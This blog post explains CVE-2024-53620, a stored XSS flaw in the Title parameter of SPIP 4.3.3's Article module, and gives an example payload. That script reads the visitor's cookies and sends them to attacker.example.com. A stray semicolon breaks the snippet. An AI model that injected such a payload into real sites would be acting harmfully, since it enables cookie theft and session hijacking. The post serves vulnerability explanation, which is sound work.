In the realm of cyber security, CVEs (Common Vulnerabilities and Exposures) play a vital role in identifying and naming vulnerabilities discovered in software. Recently, a critical cross-site scripting (XSS) vulnerability, dubbed CVE-2024-53620, has been discovered in the Article module of SPIP version 4.3.3.

This blog post will dissect CVE-2024-53620, explore the nature of the XSS vulnerability, and provide a code snippet along with details on how the exploit works. We will also link to original references for further reading and expand on the implications of this particular vulnerability.

Understanding the Vulnerability: CVE-2024-53620

CVE-2024-53620 is a cross-site scripting (XSS) vulnerability that has been found in the Article module of SPIP v4.3.3. This vulnerability enables authenticated attackers to execute arbitrary web scripts or HTML in the Title parameter through the injection of a specially crafted payload.

The exploit allows attackers to perform unauthorized actions on behalf of a user, manipulate website content, and potentially compromise user data and other sensitive information. To make matters worse, this might happen without the user's knowledge or consent.

The Attack Vector: Injecting a Crafted Payload into the Title Parameter

The source of this vulnerability is the improper handling and sanitization of the Title parameter in the Article module. As a result, attackers can inject malicious code in the form of a payload into the Title parameter, which would execute once the vulnerable page is loaded.

Let’s take a quick look at a code snippet that demonstrates the exploit

<!-- Malicious payload injected into the Title parameter -->
<script>
  (function() {
    var x = document.cookie;
    var httpRequest = new XMLHttpRequest();
    httpRequest.open("GET", "https://attacker.example.com/?cookie="; + x, true);
    httpRequest.send();
  })();
</script>

This code snippet, when injected, would execute and send the user's cookie data to the attacker's server, potentially leading to session hijacking or data leakage.
